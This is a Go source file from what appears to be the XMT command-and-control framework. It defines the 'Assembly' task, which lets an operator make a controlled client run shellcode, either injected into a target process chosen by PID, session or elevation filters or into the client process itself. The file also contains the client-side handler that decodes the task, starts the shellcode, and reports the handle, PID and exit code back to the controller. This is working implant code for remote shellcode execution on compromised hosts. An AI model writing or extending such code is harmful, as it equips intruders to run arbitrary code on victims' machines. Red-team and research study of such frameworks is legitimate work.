github.com/iDigitalFlame/xmt@v0.5.4/c2/task/assembly.go (about) 1 // Copyright (C) 2020 - 2023 iDigitalFlame 2 // 3 // This program is free software: you can redistribute it and/or modify 4 // it under the terms of the GNU General Public License as published by 5 // the Free Software Foundation, either version 3 of the License, or 6 // any later version. 7 // 8 // This program is distributed in the hope that it will be useful, 9 // but WITHOUT ANY WARRANTY; without even the implied warranty of 10 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 // GNU General Public License for more details. 12 // 13 // You should have received a copy of the GNU General Public License 14 // along with this program. If not, see <https://www.gnu.org/licenses/>. 15 // 16 17 package task 18 19 import ( 20 "context" 21 "time" 22 23 "github.com/iDigitalFlame/xmt/cmd" 24 "github.com/iDigitalFlame/xmt/cmd/filter" 25 "github.com/iDigitalFlame/xmt/data" 26 ) 27 28 // Assembly is a Tasklet that is similar to the 'cmd.Assembly' struct. 29 // 30 // This struct is used to Task a Client with running shellcode on devices. It 31 // has many of the functionalities matching the 'cmd.Assembly' struct. 32 // 33 // This can be directly used in the Session 'Tasklet' function instead of 34 // directly creating a Task. 35 // 36 // The 'SetParent' function will attempt to set the target that runs the 37 // shellcode. If none are specified, the shellcode will be injected into the 38 // client process. 39 // 40 // C2 Details: 41 // 42 // ID: TvAssembly 43 // 44 // Input: 45 // Assembly struct { 46 // bool // Wait 47 // int64 // Timeout 48 // bool // Filter Status 49 // Filter struct { // Filter 50 // uint32 // PID 51 // bool // Fallback 52 // uint8 // Session 53 // uint8 // Elevated 54 // []string // Exclude 55 // []string // Include 56 // } 57 // []byte // Assembly Data 58 // } 59 // Output: 60 // uint64 // Handle 61 // uint32 // PID 62 // int32 // Exit Code 63 type Assembly struct { 64 Filter *filter.Filter 65 Data []byte 66 Timeout time.Duration 67 Wait bool 68 } 69 70 // UnmarshalStream reads the data for this Code thread from the supplied Reader. 71 func (a *Assembly) UnmarshalStream(r data.Reader) error { 72 if err := r.ReadBool(&a.Wait); err != nil { 73 return err 74 } 75 if err := r.ReadInt64((*int64)(&a.Timeout)); err != nil { 76 return err 77 } 78 if err := filter.UnmarshalStream(r, &a.Filter); err != nil { 79 return err 80 } 81 return r.ReadBytes(&a.Data) 82 } 83 func taskAssembly(x context.Context, r data.Reader, w data.Writer) error { 84 a, z, err := AssemblyUnmarshal(x, r) 85 if err != nil { 86 return err 87 } 88 if err = a.Start(); err != nil { 89 return err 90 } 91 h, _ := a.Handle() 92 if w.WriteUint64(uint64(h)); !z { 93 w.WriteUint64(uint64(a.Pid()) << 32) 94 a.Release() 95 return nil 96 } 97 w.WriteUint32(a.Pid()) 98 err = a.Wait() 99 if _, ok := err.(*cmd.ExitError); err != nil && !ok { 100 return err 101 } 102 e, _ := a.ExitCode() 103 w.WriteInt32(e) 104 return nil 105 } 106 107 // AssemblyUnmarshal will read this Assembly's struct data from the supplied 108 // reader and returns an Assembly runnable struct along with the wait boolean. 109 // 110 // This function returns an error if building or reading fails. 111 func AssemblyUnmarshal(x context.Context, r data.Reader) (*cmd.Assembly, bool, error) { 112 var ( 113 a Assembly 114 err = a.UnmarshalStream(r) 115 ) 116 if err != nil { 117 return nil, false, err 118 } 119 if len(a.Data) == 0 { 120 return nil, false, cmd.ErrEmptyCommand 121 } 122 v := cmd.NewAsmContext(x, a.Data) 123 v.Timeout = a.Timeout 124 v.SetParent(a.Filter) 125 return v, a.Wait, nil 126 }